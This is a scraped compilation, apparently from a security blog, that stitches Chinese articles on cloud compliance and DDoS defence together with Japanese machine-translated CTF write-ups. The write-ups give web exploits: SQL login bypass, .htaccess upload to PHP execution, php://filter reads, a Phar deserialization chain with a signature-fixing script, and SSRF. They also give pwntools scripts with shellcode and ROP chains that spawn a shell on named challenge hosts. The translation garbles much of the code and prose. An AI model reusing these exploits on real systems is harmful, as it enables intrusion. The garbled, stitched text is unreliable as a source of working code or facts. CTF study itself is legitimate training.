2.選擇合規的雲服務。如果您不是從頭開始構建整個系統，則需要選擇正確的CSP。在選擇供應商時，重要的是要考慮現在哪些合規性要求對您至關重要，以及您將來可能需要遵循哪些合規性要求。否則，由於合規性問題，您在切換到其他供應商時可能會浪費額外的時間和金錢。

3. 進行內部IT 合規性審計。基於雲的基礎架構非常靈活，使開發人員能夠比本地解決方案更快地調整雲應用程序。定期的內部合規審計可以幫助您驗證所需的安全機制是否有效，並且即使在更新後您的應用程序仍然受到保護。但請記住，IT 合規性和數據安全性並不總是相同的。最好分別運行合規性和安全審計。

結論在構建基於雲的產品時，您需要考慮可能危及產品數據安全性和IT 合規性的雲特徵。即使您與提供額外安全服務並遵守您必須遵守的法律、法規和標準的大型雲提供商合作，您仍然需要密切關注許多因素。

通過緩解雲中最常見的安全威脅，您可以提高雲解決方案的安全性並增強客戶的信心。

HireHackking

web

sqlup

質問を開き、推測名でSQLを挿入するためのログインページを提供しました

1049983-20241008092218396-758395906.png

ソースコードを確認し、開発者にパターンマッチングを使用するように促すヒントがあることを見つけます

1049983-20241008092219390-32340352.jpg

だから私は％をファジーマッチに使用しようとしました、ログインは成功しました

username=adminpassword=％パネルを入力した後、ファイルアップロード機能があることがわかりました

1049983-20241008092220160-1690588852.png

PHPファイルをアップロードしてみてくださいが、結果はWAFであり、ファイル名はpが表示されない

1049983-20241008092220948-1070441433.jpg

.htaccessファイルを使用してgifファイルを解析することを考えました。

.htaccessファイルを最初にアップロードし、1.gifをphpとして解析します

filesmatch '1.gif'

Sethandler Application/X-HTTPD-PHP

/filesmatch

1049983-20241008092221713-43094018.jpg

次に、1.GIFファイルをアップロードします

1049983-20241008092222494-1621144674.jpg

次に、/1.gifにアクセスしてください。ただし、フラグを読む許可をエスカレートする必要があります

パワーをエスカレートする注文を探しています

find/-perm -u=s -Type f 2/dev/null discovery TACコマンドを使用できます

1049983-20241008092223231-742831687.jpg

Candyshop

ソースコードは次のとおりです

Import DateTime

フラスコのインポートフラスコ、render_template、render_template_string、request、redirect、url_for、session、make_responseから

WTFORMSからImport Stringfield、PasswordField、Submitfieldから

wtforms.validatorsからImport datarequired、lengthから

flask_wtfからインポートフラスコフォームから

Reをインポートします

app=flask（__name__）

app.config ['Secret_key']='

HireHackking

1。 web

1。旗が消える

アクセス拒否

FakeIPプラグインフェイクIP

imgプロンプトファイルはnullです

ファイルパラメーターを追加してみてください

？file=index.php`プロンプト `ハックしないでください!

おそらくフィルターチェーン

参照記事：

https://www.cnblogs.com/linuxsec/articles/12684259.html

https://blog.csdn.net/yuanxu8877/article/details/127607264

Php: //filter/convert.iconvが成功することができます

img/？file=php: //filter/convert.iconv.utf-16/resource=index.php

/？file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag img img :010一般的なバックアップファイルまたはロボットがあるかどうかを最初に確認しましょう。

バックアップファイルwww.tar.gzを見つけることができます

image.png

次に、URL/www.tar.gzにアクセスして、バックアップファイルをダウンロードします

image.png

主にupload.phpとdownload.phpを見て、ソースコードがすべてここにあることがわかりました

image.png

image.png

次のように、CSDNで同様の質問を見ることができます。

https://blog.csdn.net/m0_70819573/article/details/129506508

https://blog.csdn.net/2301_79708753/article/details/135873948

https://www.bilibili.com/read/cv21572905/

次に、質問へのリンクを開き、アップロードフォームから始めて、もうできません。それは脱介入の意味ではありませんか？

image.png

次に、ファイルのアップロードと降下の組み合わせである可能性があります。

次に、それがファーの降下化であることを検索して見つける - ファイルに含まれるゼリア化（ファイルアップロード）

それ以外{

$ extensions=array（ 'gif'、 'jpg'、 'png'）;

$ temp=exploit（ '。'、$ _files ['file'] ['name']）;

$ fileextension=end（$ temp）;

$ filesizecheck=$ _files ['file'] ['size'];

$ iSextensionAllowed=in_array（$ fileextension、$ extensions）？ True : False;

if（$ filesizecheck $ isextensionAllowed）{

$ filecontent=file_get_contents（$ _ files ['file'] ['tmp_name']）;

$ haltcompilercheck=strpos（$ filecontent、 '__halt_compiler（）;'）;

if（getType（$ haltCompilerCheck）==='Integer'）{

echo 'phar';

uoload.phpのこのコードから、GIF、JPG、およびPNGの写真のみをアップロードできることを知ることができ、コンテンツチェックが実行されることがわかります。ファイルにはコンテンツ「__HALT_COMPILER（）;」を含めることはできません。

そのため、生成されたPhARファイルを圧縮パッケージに圧縮して、チェックをバイパスする必要があります。

クラスファイル{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct（）{

$ this-val1='val1';

$ this-val2='val2';

}

パブリック関数__destruct（）{

if（$ this-val1==='file' $ this-val2==='exists'）{

if（preg_match（ '/^\ s*system \ s*\（\ s*\' cat \ s+\/[^;]*\ '\ s*\）; \ s*$/'、$ this-val3）{

eval（$ this-val3）;

} それ以外{

エコー「アクセス拒否」;

}

}

}

パブリック関数__access（）{

$ var='アクセス拒否';

echo $ var;

}

public function __wakeup（）{

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

}

次に、download.phpのコードから、それが定期的に脱出されていることを知ることができます。 __Destruct（）Magicメソッドには、コマンドを実行するために使用できるeval（）関数があり、コマンド実行の脆弱性があります。 __destruct（）メソッドのIFステートメントは、変数v a l 1がf i l eに等しいか、変数Val1がファイルに等しいか、変数Val1がファイルに等しいか、変数Val2が存在するかどうかを決定します。

次に、次のコードに

if（preg_match（ '/^\ s*system \ s*\（\ s*\' cat \ s+\/[^;]*\ '\ s*\）; \ s*$/'、$ this-val3）{

eval（$ this-val3）;

このコードは、文字列が特定のパターンと一致するかどうかをチェックするPHPの条件付きステートメントです。一致が成功した場合、評価関数が実行され、文字列内のコードが実行されます。

この正規表現を見てみましょう

/^\ s*system \ s*\（\ s*\ 'cat \ s+\/[^;]*\' \ s*\）; \ s*$/：

/^と$は文字列の開始と終了を表し、文字列全体がパターンと一致するようにします。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

システムは、文字列内のシステムと一致します。

（および）左と右のブラケットに一致します。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

'cat \ s+/[^;]'は、catから始まるファイルパスに一致するファイルパスに一致します。で：

’単一の引用を一致させます。

猫は猫の弦に一致します。

\ s+ 1つ以上の空白文字を一致させます。

/slash /を一致させます。

[^;]ゼロ以上の非セミコロン文字を一致させます。

’単一の引用を一致させます。

\ s*ゼロ以上のホワイトスペース文字を一致させます。

;セミコロンを一致させます。

言い換えれば、この正規表現は、文字列がシステムで始まるかどうかを確認するために使用されます（ 'cat、その後のファイルパスが続き、その後'で終了します）。

したがって、$ val3の値を構築できます

System（ 'cat /flag'）;

旗を取得するために

T h i s-v a l 3のコンテンツがこのパターンと一致する場合、e v a lが実行されます（このVal3のコンテンツはこのパターンと一致し、評価します（このパターンと一致します、評価（this-val3）。

正規表現を視覚化https://wangwl.net/static/projects/visualregex/#

image.png

次に、これに注意を払う必要があります。WakeUp（）Magic Methodをバイパスする必要があります。

public function __wakeup（）{

$ this-val1='exists';

$ this-val2='file';

echo 'ファイルが存在します';

}

v a l 1をe x i s t s、val1が存在し、val1が存在し、val2をファイルします。

image.png

、したがって、覚醒（）をバイパスする必要があります

つまり、CVE-2016-7124を使用する必要があり、その影響の範囲は

PHP5 5.6.25

PHP7 7.0.10

そのトリガー方法も非常に単純です。つまり、シリアル化された文字列のオブジェクト属性の数を表す値が実際の属性番号よりも大きい場合、__wakeupの実行はスキップされます

次に、ファーファイルを構築し、アップロードして脱3を実行し、それによってコードを実行する必要があります

アップロードすると、ZIPはPhAR検出をバイパスしますが、PhAR擬似プロトコルはZIPを減圧します。減圧するとき、私たちのPHAR擬似プロトコルは、file_get_contents（）での脱気からのトリガーをトリガーし、eval（）コマンドを実行します。

PHARファイル生成コード：

？php

ini_set（ 'phar.readonly'、 'off'）;

クラスファイル

{

public $ val1;

public $ val2;

public $ val3;

パブリック関数__construct（）

{

$ this-val1='file';

$ this-val2='exists';

$ this-val3='System（' cat /flag '）;';

}

}

$ a=new file（）;

$ phar=new Phar（ 'aa3.phar'）;

$ phar-startbuffering（）;

$ phar-setstub（ '？php __halt_compiler（）;'）;

$ phar-setmetadata（$ a）;

$ phar-addfromstring（ 'test.txt'、 'test'）;

$ phar-stopbuffering（）;

php phar.php

コードを実行して、ファーファイルを生成します

image.png

010を通じて、Pharファイルの内容がシリアル化されていることがわかります

image.png

しかし、アップロードとアクセスのときにエラーが報告されます

image.png

警告: file_get_contents（phar: //./upload/fuck.jpg）:はstream: phar '/var/www/html/upload/fuck.jpg' sha1 signatureを確認できませんでした。

ここには問題があります。 010でPhARファイルを変更してWakeUp（）Magicメソッドをバイパスできますが、ここには署名認証があり、署名を修正する必要があります

image.png

スクリプトで修正されたPHARは、データ、データ署名（20ビット）、および署名形式（8ビット）で構成されています。

gzipをインポートします

HashlibインポートSha1から

with open（r'd: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ aa3.phar '、' rb '）file:として

f=file.read（）

s=f [:-28]＃データに署名してください

S=S.Replace（B'3: {'、b'4: {'）＃属性値を交換し、バイパス__wakeup

H=F [-8:]＃署名タイプとGBMBのIDを取得する

newf=s + sha1（s）.digest（） + h＃data + signature +（type + gbmb）

#print（newf）

newf=gzip.compress（newf）#gzip pharファイルの圧縮

with open（r'D: \\ downlaods_1 \\ anfang_ctf \\ webbbbbbbb \\ fuck3.png '、' wb '）as file:＃ファイルサフィックスを変更します

file.write（newf）

次に、PNG画像をアップロードします

image.png

phrowd.phpでポストパラメーター転送を実行し、phar: //protocol pseudoを使用してpharファイルを読み取り、脱出をトリガーします。

file=phar: //./upload/fuck3.png

最後にフラグを取得します

image.png

フラグは次のとおりです。

669B01045DA0456EA2A2861CE57DD537

2.Unserialize_web

関数をクリックしただけで何も見つかりませんでした。 F12のソースコードにwww.zipがあることがわかりました。

imgソースコードをダウンロードして、tcpdf v6.3.2を参照してください

タイトル登録関数を見て、エラーを直接登録して表示し、ソースコード登録html/api.phpのロジックを見てください

img QINTERNALへのフォローアップ

imgはhttp://LocalHost:8082/``招待状にアクセスします

次に、pdf/internal.pyに移動します

app.run（host='127.0.0.1'、ポート=8082）、ローカル8082ポートにはPythonサービスが有効になっています

その後、ローカルのデバッグがここに来て、if（'myjson ['vite'] in open（ 'Invites.txt'）。read（）。

imgその後、Google検索「CTF」TCPDF招待状を検索します

検索

https://cloud.tencent.com/developer/article/2069757

https://r0.haxors.org/posts?id=15

https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498ポイント

参照：https://r0.haxors.org/posts?id=15

imgINVITE:-3.3E9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

img次に、イントラネットのSSRFを呼び出します

WPのように、私は何度か電話してきましたが、それを打つことができませんでした。外部ネットワークからのリクエストはないので、ネットワークがあるとは推測できません

ソースコードに移動し、元のタイトルWPに従ってSSLF場所のロジックを見つけます

img元の質問の比較

img Gopherがリリースされていることがわかります

だから私はGopherだけで、長い間テストした後もテストしていません。

最後に、Cookieの問題により、ユーザーがログインするか、以前のユーザーのCookieがログインした可能性があると思います

asmintest1を直接登録し、SSRFをチームメイトに再生します（Asmintest55）、Access Action:Adminは管理者へのアップグレードに正常にアップグレードします

img img img img

3.mypdf

0問題を解決しました。

2人のユーザーがパスワードログインが弱いため、2つのトークンを取得します

admin; 123456Test; 123456TOKEN_TEST='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoidgvzdcisimlwijoimtcyljiwlji0mc4zmij999.a9crtyzlavhqif9vrihn1ksjle FZCKPARV3EO96EBSLD5GZRU78QGIFKDTW_YXQGYC7Z82PQH1BQGWMF5CLBFYSQNB6V9HV7FYZJUPZZT2B-IRXITYFHW2QQJR0I_YRJATOKEN_ADMIN='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoiywrtaw4ilcjpcci6ije3mi4ymc4yndaumziifq。 DDTMCHPMQTBA_2_WJXLPO_6G5DTAM7STY2KNNGOL6QAEAWH4Y8EJY6NDBLUEMHXYYECPILFXZXZXEPQKV_GW3RGREG7L

HireHackking

客戶喜歡運行良好且順利的事情。分佈式拒絕服務(DDoS) 攻擊使服務器和數據中心無法響應所有請求。這就是網絡犯罪分子繼續依賴這些攻擊的原因，旨在損害受害者產品和服務的性能和可用性。

為了降低失去客戶信任的風險並維護企業聲譽，在開發新產品時優先考慮DDoS 緩解非常重要。

在本文中，我們將討論最常見的DDoS 攻擊類型以及有助於檢測它們的技術。我們還提供了一些建議，以幫助您的開發團隊及時進行必要的調整併構建安全且有彈性的Web 應用程序。

DDoS攻擊的類型和方法想像一下有人一遍又一遍地撥打您的電話，使用不同的電話號碼，因此您無法將他們列入黑名單。您可能最終會關閉手機並變得無法訪問。這就是通常的DDoS 攻擊的樣子。

分佈式拒絕服務(DDoS) 攻擊是一種旨在使受害者的資源無法使用的協同攻擊。 DDoS 攻擊通常針對網站、Web 應用程序或API，可以由黑客執行，也可以在連接到互聯網的多個受感染設備（殭屍網絡）的幫助下執行。

早在史蒂夫喬布斯推出第一款iPhone 之前，DDoS 攻擊就已經出現。而且它們在黑客中仍然非常受歡迎，因為它們有效、易於啟動並且幾乎不留痕跡。

一次DDoS 攻擊可能會持續幾分鐘、幾小時甚至幾天。但是，攻擊的影響通常不是根據它持續的時間來計算的，而是根據攻擊受害者的流量來計算的。迄今為止報告的最大事件之一是Microsoft 在2022 年初阻止的每秒3.47 TB 的攻擊。它針對Microsoft Azure 服務的亞洲客戶，據報導起源於全球約10,000 個工作站。

有時，網絡犯罪分子發起DDoS 攻擊只是為了提高他們的黑客技能或因為他們感到無聊。但更多情況下，這些攻擊是出於特定原因進行的，包括：

image.png

DDoS 攻擊背後的原因

马云惹不起马云 贖金——網絡犯罪分子可能會發起攻擊或威脅這樣做，以向受害者勒索金錢或其他利益。此類攻擊有時也稱為贖金拒絕服務攻擊。

马云惹不起马云商業競爭——一些組織可以使用DDoS 攻擊作為一種不公平競爭的方法，並試圖通過損害其競爭對手的業務流和聲譽來獲得優勢。

马云惹不起马云黑客主義——精通技術的活動家可能會使用DDoS 攻擊來展示他們對某些企業、政治和社會倡議或公眾人物的不滿。

马云惹不起马云網絡戰——政府可以授權DDoS 攻擊來破壞敵國的關鍵在線基礎設施或關閉反對派網站。

根據他們的目標和動機，網絡犯罪分子使用各種工具進行各種類型的攻擊。通常，DDoS 攻擊通過以下方式執行：

马云惹不起马云利用軟件漏洞——黑客可以針對已知和未知的軟件漏洞並發送格式錯誤的數據包以試圖破壞受害者的系統。

马云惹不起马云消耗計算或通信資源——攻擊者可以發送大量看起來合法的數據包。因此，它們會消耗受害者的網絡帶寬、CPU 或內存，直到目標系統無法再處理來自合法用戶的請求。

雖然DDoS 攻擊沒有標準分類，但我們可以將它們分為四大類：

image.png

DDoS 攻擊的類型

讓我們仔細看看這些類型的攻擊。

1. 容量攻擊容量攻擊旨在通過大量流量來阻止對受害者資源的訪問，通常藉助殭屍網絡和放大技術。這些攻擊的規模通常以每秒比特數(bps) 來衡量。

最常見的容量攻擊類型是：

马云惹不起马云 UDP 泛洪——攻擊者將使用受害者的源地址偽造的用戶數據報協議(UDP) 數據包發送到隨機端口。主機生成大量回复流量並將其發送回受害者。

马云惹不起马云DNS 放大- 網絡犯罪分子破壞和操縱可公開訪問的域名系統(DNS)，以用DNS 響應流量淹沒受害者的系統。

马云惹不起马云濫用應用程序攻擊——黑客入侵客戶端機器，這些機器可以發送大量看似合法的流量，並將該流量重定向到受害者的服務器，耗盡其資源並最終將其關閉。

2020 年， Amazon Web Services 遭受了使用無連接輕量級目錄訪問協議(CLDAP) 反射技術執行的2.3 TBps 的大規模攻擊。

2.協議攻擊協議攻擊針對不同互聯網通信協議工作方式的弱點。通常，此類DDoS 攻擊的規模以每秒網絡數據包數(pps) 來衡量。最常見的協議攻擊類型是：

马云惹不起马云SYN 洪水——黑客利用了TCP 三次握手機制中的一個弱點。客戶端向服務器發送一個SYN 數據包，接收一個SYN-ACK 數據包，並且永遠不會向主機發送一個ACK 數據包。因此，受害者的服務器會留下大量未完成的SYN-ACK 請求，並最終崩潰。

马云惹不起马云ICMP 洪水— 惡意行為者使用大量Internet 控制消息協議(ICMP) 請求或ping，試圖耗盡受害者的服務器帶寬。

马云惹不起马云Ping of death——黑客使用簡單的ping 命令發送超大數據包，導致受害者的系統凍結或崩潰。

2020 年，Akamai 報告說，它與針對歐洲銀行的每秒8.09 億個數據包(Mpps) 的大規模DDoS 攻擊作鬥爭。

3.應用層攻擊應用程序攻擊利用6 級和7 級協議棧中的弱點，針對特定應用程序而不是整個服務器。此類DDoS 攻擊的威力通常以每秒請求數來衡量。

應用層攻擊通常針對常見的端口和服務，例如DNS 或HTTP。最常見的應用程序級攻擊是：

马云惹不起马云HTTP 氾濫——攻擊者使用殭屍網絡向應用程序或Web 服務器充斥大量標準GET 和POST 請求。由於這些請求通常表現為合法流量，因此檢測HTTP 泛洪攻擊是一個相當大的挑戰。

马云惹不起马云Slowloris — 顧名思義，Slowloris 緩慢地使受害者的服務器崩潰。攻擊者以定時間隔和小部分向受害者的服務器發送HTTP 請求。服務器一直在等待這些請求完成，而這永遠不會發生。最終，這些未完成的請求會耗盡受害者的帶寬，使合法用戶無法訪問服務器。

根據Cloudflare 最近的一份聲明， 2022 年，一項未命名的加密貨幣服務遭到每秒1530 萬次請求的攻擊。

4. 0 day DDoS 攻擊除了眾所周知的攻擊之外，還有所謂的0 dayDDoS 攻擊。他們利用尚未修補的以前未知的軟件漏洞或使用不常見的攻擊媒介，因此更難以檢測和保護。

現在讓我們談談檢測DDoS 攻擊的方法。

檢測DDoS 攻擊雖然不可能完全阻止DDoS 攻擊的發生，但有一些有效的做法和方法可以幫助您檢測和阻止已經發生的DDoS 攻擊。

下面，我們列出了幾種最常見的DDoS 保護方法，您可以依靠它來檢測攻擊並保護您的產品或服務。

image.png

DDoS 檢測方法

異常檢測檢測潛在DDoS 攻擊的一種方法是分析網絡流量並將流量模式分類為正常或潛在威脅。您可以藉助傳統的靜態分析或更複雜的技術（如機器學習和人工智能）來做到這一點。

除了網絡流量分析之外，您還可以搜索其他網絡性能因素中的異常情況，例如設備CPU 利用率或帶寬使用情況。

基於知識的方法您還可以通過將流量與已知攻擊的特定模式進行比較來檢測類似DDoS 的活動。常見的DDoS 防護技術包括簽名分析、狀態轉換分析、專家系統、描述腳本和自組織圖。

ACL 和防火牆除了入口/出口流量過濾之外，您還可以使用訪問控制列表(ACL) 和防火牆規則來增強流量可見性。特別是，您可以分析ACL 日誌以了解通過您的網絡運行的流量類型。您還可以配置您的Web 應用程序防火牆，以根據特定規則、簽名和模式阻止可疑的傳入流量。

入侵防禦和檢測入侵防禦系統(IPS) 和入侵檢測系統(IDS) 也增強了流量可見性。 IPS 和IDS 警報可作為異常和潛在惡意流量的早期指標。但請記住，這些系統往往會提供很多誤報。

至於處理可能涉及DDoS 攻擊的流量的方法，我們可以概述三種常見策略：

image.png

DDoS 緩解方法

马云惹不起马云空路由或黑洞路由- 所有流量和會話都被重定向到沒有最終目的地的IP 地址。結果，服務器無法接收或發送數據。一旦DDoS 攻擊結束，就會恢復正常的流量處理。雖然這種方法很容易實施，但它會對所有合法流量產生負面影響，並且基本上可以幫助攻擊者實現他們的初始目標——使受害者的服務器不可用。

马云惹不起马云 清理中心——這種方法基於將流量從受害服務器重定向到遠程清理中心，在該中心對流量進行分析和過濾。任何具有潛在危險的流量（例如DDoS 請求）都會被阻止，而合法請求則會照常處理。

马云惹不起马云內聯過濾——在這種方法中，通過網絡的所有流量都經過分析，並與不同的規則和攻擊指標進行比較。與已識別的DDoS 攻擊相關的流量會立即被阻止，而合法請求會得到正常處理。

特定方法和技術的選擇將取決於特定服務或解決方案的特性。但是，確保及早發現DDoS 攻擊對於任何項目都至關重要，因為它可以幫助您顯著減輕攻擊的後果並保持服務或解決方案的正常性能。

在接下來的部分中，我們將討論您可以嘗試防止DDoS 攻擊的幾種方法，並概述針對您的Web 應用程序或服務的某些類型的DDoS 保護措施。

構建DDoS 彈性應用程序的最佳實踐預防勝於治療。因此，在開始構建之前，請考慮如何確保Web 應用程序或服務的DDoS 彈性。

image.png

DDoS 緩解最佳實踐

1. 應用DDoS 防禦機制即使您無法阻止DDoS 攻擊的發生，您也有能力讓攻擊者更難關閉您的網站或應用程序。這就是DDoS 攻擊預防技術發揮作用的地方。

您可以使用兩組DDoS 預防機制：

马云惹不起马云 通用DDoS 預防機制

马云惹不起马云 過濾機制

通用DDoS 預防機制是可以幫助您使您的Web 應用程序或服務器對DDoS 攻擊更具彈性的常用措施。這些措施包括：

马云惹不起马云使用防火牆——雖然防火牆不能保護您的應用程序或服務器免受複雜的DDoS 攻擊，但它們仍然可以有效地處理簡單的攻擊。

马云惹不起马云安裝最新的安全補丁——大多數攻擊針對特定的軟件或硬件漏洞，因此按時部署所有補丁可以幫助您降低攻擊風險。

马云惹不起马云禁用未使用的服務——黑客可以攻擊的應用程序和服務越少越好。確保禁用所有不需要和未使用的服務和應用程序，以提高網絡的安全性。

過濾機制使用不同的方法來過濾流量並阻止潛在的危險請求。這些機制包括入口/出口過濾、基於歷史的IP 過濾和基於路由器的數據包過濾。

2. 明智地選擇您的CSP在選擇雲服務提供商(CSP) 時，請選擇擁有自己的DDoS 緩解策略的提供商。確保此策略確保檢測和緩解基於協議、基於容量和應用程序級的攻擊。

此外，研究您的CSP 關於DDoS 緩解的建議，並在構建您的Web 產品時實施它們。大多數雲服務提供商都有詳細的指導方針，以及保護您的Web 產品和服務免受常見DDoS 攻擊的最佳實踐。您可以先看看Google Cloud、Microsoft Azure和Amazon Web Services的建議。

3. 以可擴展性為目標通過將足夠的計劃和資源投入到其可擴展性中，使您的Web 應用程序能夠有效地處理突然的負載變化。您可以部署應用程序和網絡負載均衡器或內容分發網絡(CDN)，通過跨多個實例分發所有流量來保護您的解決方案免受流量過載的影響。通過這種方式，您將能夠減輕基礎設施和應用程序層的潛在攻擊。

4.限制弱點的數量除非確實有必要，否則不要公開您的應用程序和資源。通過這種方式，您可以限制基礎設施中可能被攻擊者攻擊的薄弱環節的數量。您還可以禁止到數據庫服務器和基礎設施的其他關鍵部分的直接Internet 流量。

5. 保護您的APIDDoS 攻擊不僅可以針對您的網站和應用程序，還可以針對您的API。

有多種方法可以增強API 的反DDoS 保護：應用流量過濾工具和技術，限制API 在給定時間段內可以處理的請求數量，甚至部署蜜罐。

6. 使用第三方DDoS 緩解服務考慮將Web 應用程序的保護委託給第三方供應商。 DDoS 預防工具和緩解服務甚至可以在有問題的流量到達受害者的網絡之前將其移除。您可以尋找基於DNS 的服務來重定向來自您的網絡的有問題的流量，或者尋找基於邊界網關協議的解決方案來處理持續攻擊。

結論黑客不斷使用和改進DDoS 攻擊，旨在破壞特定網站、應用程序和服務的工作。在處理Web 應用程序時，請特別注意強化您的解決方案以抵禦可能的DDoS 攻擊。

考慮到穩定性和彈性來構建您的網絡產品非常重要。您可以結合不同的DDoS 攻擊預防方法和DDoS 防禦技術，以增加有效緩解潛在攻擊的機會。或者，您可以部署多個雲以確保更好地提供服務。

HireHackking

crypto

xor

1.環境を一連の文字として開きます。文字列は、XORスクリプトまたはオンラインデコードツール（1つの暗号化のみ）を使用してデコードできます

キーは模倣です

uemkso1oxfl812.png

フラグを復号化します

オンライン復号化

bpeomgpgwsm814.png

またはスクリプト：＃ciphertext ciphertext='0b050c0e180e585f5c52555c55454545c0a0f44535f0f0f5e445658585844055d0f5d0f0f0f555590555555555550914 "=bytes.fromhex（ciphertext）＃キーが「キー」であると仮定すると、キー=b'mimic '＃xorを変更できます。文字列にバイテを文字strinexextextextext=plantext_bytes.decodes.decodes（ 'utf-8'）print（ 'utf-8'）print（plaintext）1049983-20241029164628741-2140565532.jpg

pwn

ezcode

JSONのダイレクトシェルコードの復活したjsonのダイレクトシェルコードのセット、長さ0x16を制限します。

PWNインポートから *

JSONをインポートします

コンテキスト（log_level='debug'、os='linux'、arch='amd64'）

pwnfile='./vuln'

io=process（pwnfile）

#io=remote（）

elf=elf（pwnfile）

libc=elf（ '/lib/x86_64-linux-gnu/libc.so.6'）

#libc=elf（ './libc.so.6'）

shellcode='' '

Sal Edi、12

MOV DX、7

MOV AX、10

syscall

CDQ

Xor Eax、Eax

MOV ESI、ECX

Xor EDI、EDI

syscall

'' '

shellcode1=asm（shellcode）

print（ 'len-'、len（shellcode1））

payload1={

'shellcode': shellcode1.hex（）

}

io.sendlineafter（ 'input:'、json.dumps（payload1）を入力してください）

shellcode=asm（ '' ''

MOV RDI、0x999800d

Xor ESI、ESI

XOR RDX、RDX

Mov Rax、2

syscall

MOV RDI、Rax

MOV RSI、0x9998000+0x300

MOV EDX、0x40

Xor Eax、Eax

syscall

MOV EDI、1

MOV RSI、0x9998000+0x300

Mov Rax、1

syscall

'' '）

io.sendline（b './flag \ x00 \ x00 \ x00'+シェルコード）

io.Interactive（）

signin_revenge

スタックオーバーフロー、パイなし、カナリアなし、rop漏れのある住所を構築してからORW

PWNインポートから *

コンテキスト（log_level='debug'、os='linux'、arch='amd64'）

pwnfile='./vuln'

＃io=process（pwnfile）

io=remote（ 'pwn-16255a8951.challenge.xctf.org.cn'、9999、ssl=true）

elf=elf（pwnfile）

libc=elf（ './libc.so.6'）

def debug（）:

gdb.attach（io）

一時停止（）

pop_rdi=0x00000000401393

puts_got=elf.got ['puts']

puts_plt=elf.plt ['puts']

main_adr=elf.symbols ['main']

＃デバッグ（）

pay=b'a '*0x108+flat（pop_rdi、puts_got、puts_plt、main_adr）

io.sendlineafter（ '移動してpwn！\ n'、支払い）

puts_adr=u64（io.recvuntil（ '\ x7f'）[-6:] .ljust（8、b '\ x00'））

libc_base=puts_adr-libc.sym ['puts']

pop_rdx=libc_base +0x00000000142c92

pop_rsi=libc_base +0x00000000002601f

pop_rbp=libc_base +0x0000000000226c0

pop_rax=libc_base +0x0000000000036174

leave_ret=0x4012ee

read=0x04012d6＃0x130

BSS=0x404000+0x800

flag_adr=bss+0x98

op=libc_base + libc.symbols ['open']

re=libc_base + libc.symbols ['read']

wr=libc_base + libc.symbols ['write']

pay=b'a '*0x100+p64（bss-8）+flat（pop_rax、bss、read）

io.sendafter（ '移動してpwn！\ n'、支払い）

＃デバッグ（）

orw=flat（pop_rdi、flag_adr、pop_rsi、0、op、

pop_rdi、3、pop_rsi、flag_adr+0x200、pop_rdx、0x100、re、

pop_rdi、1、pop_rsi、flag_adr+0x200、pop_rdx、0x40、wr）+b './flag \ x00'

io.sendline（orw）

io.interactive（）

qwen

2b3cf38193ce3750b491914d11006e83

MEMUポインター、および境界を越えて0x20バイトに書き込むことができます。

次に、バックドアを使用して/proc/self/mapsを読んでメモリ情報を取得し、libc_baseを介して2つのガジェットを取得します

0x000000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

0x0000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

メニューポインターをポップrdxとしてハイジャックします。 RSP、0x38を追加します。ポップrbx; POP RBP; ret、読み取りによって書かれた0x20バイトにジャンプし、システム（ "/bin/sh"）を実行してシェルを取得します

exp

PWNインポートから *

def debug（c=0）:

if（c）:

gdb.attach（p、c）

else:

gdb.attach（p）

一時停止（）

def get_sb（）: return libc_base + libc.sym ['system']、libc_base + next（libc.search（b '/bin/sh \ x00'））

＃----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send（データ）

sa=lambdaテキスト、データ:p.sendafter（テキスト、データ）

SL=Lambdaデータ:p.sendline（data）

sla=lambdaテキスト、データ:p.sendlineafter（テキスト、データ）

r=lambda num=4096 :p.recv（num）

rl=lambdaテキスト:p.recvuntil（テキスト）

pr=lambda num=4096 :print（p.recv（num））

inter=lambda :p.interactive（）

l32=lambda :U32（p.recvuntil（b '\ xf7'）[-4:] .ljust（4、b '\ x00'））

l64=lambda :U64（p.recvuntil（b '\ x7f'）[-6:] .ljust（8、b '\ x00'））

uu32=lambda :u32（p.recv（4）.ljust（4、b '\ x00'））

uu64=lambda :u64（p.recv（6）.ljust（8、b '\ x00'））

int16=lambdaデータ:INT（データ、16）

LG=Lambda S、num :p.success（ '％s -0x％x'％（s、num））

＃----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context（os='linux'、arch='amd64'、log_level='debug'）

p=remote（ 'pwn-bc7e9f0275.challenge.xctf.org.cn'、9999、ssl=true）

#p=process（ 'pwn1'）

elf=elf（ 'pwn1'）

libc=elf（ 'libc.so.6'）

#debug（ 'b *$ rebase（0x1022）\ n'）

範囲のIの場合（5）:

sla（b '\ xbc \ x89 \ xef \ xbc \ x9a'、str（i） + '0'）

pl=b'a '*0x8 + p16（0x1508）

sa（b'say？ '、pl）

sla（b'game [y/n] '、b'n'）

sla（b '\ xbc \ x89 \ xef \ xbc \ x9a'、 '111 111'）

SLA（b'administrator key \ n '、str（0x6b8b4567））

file_name=b '/proc/self/maps'

sla（b'logged in！\ n '、file_name）

rl（b'デバッグ情報は次のとおりです\ n '）

pro_base=int（r（12）、16）

rl（b'libc.so.6 \ n '）

libc_base=int（r（12）、16）-0x1e7000

lg（ 'pro_base'、pro_base）

lg（ 'libc_base'、libc_base）

範囲のIの場合（5）:

sla（b '\ xbc \ x89 \ xef \ xbc \ x9a'、str（i） + '0'）

＃0x00000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret

＃0x000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret

rdi=libc_base +0x00000000002164f

システム、binsh=get_sb（）

ret=libc_base +0x00000000000000008aa

one_gadget=libc_base +0x00000000000004ee21

PL=P64（LIBC_BASE +0x000000000000D10BE） + P64（ONE_GADGET） + P64（RET） + P64（RDI） + P64（BINSH） + P64（システム）

sa（b'say？ '、pl）

sla（b'game [y/n] '、b'n'）

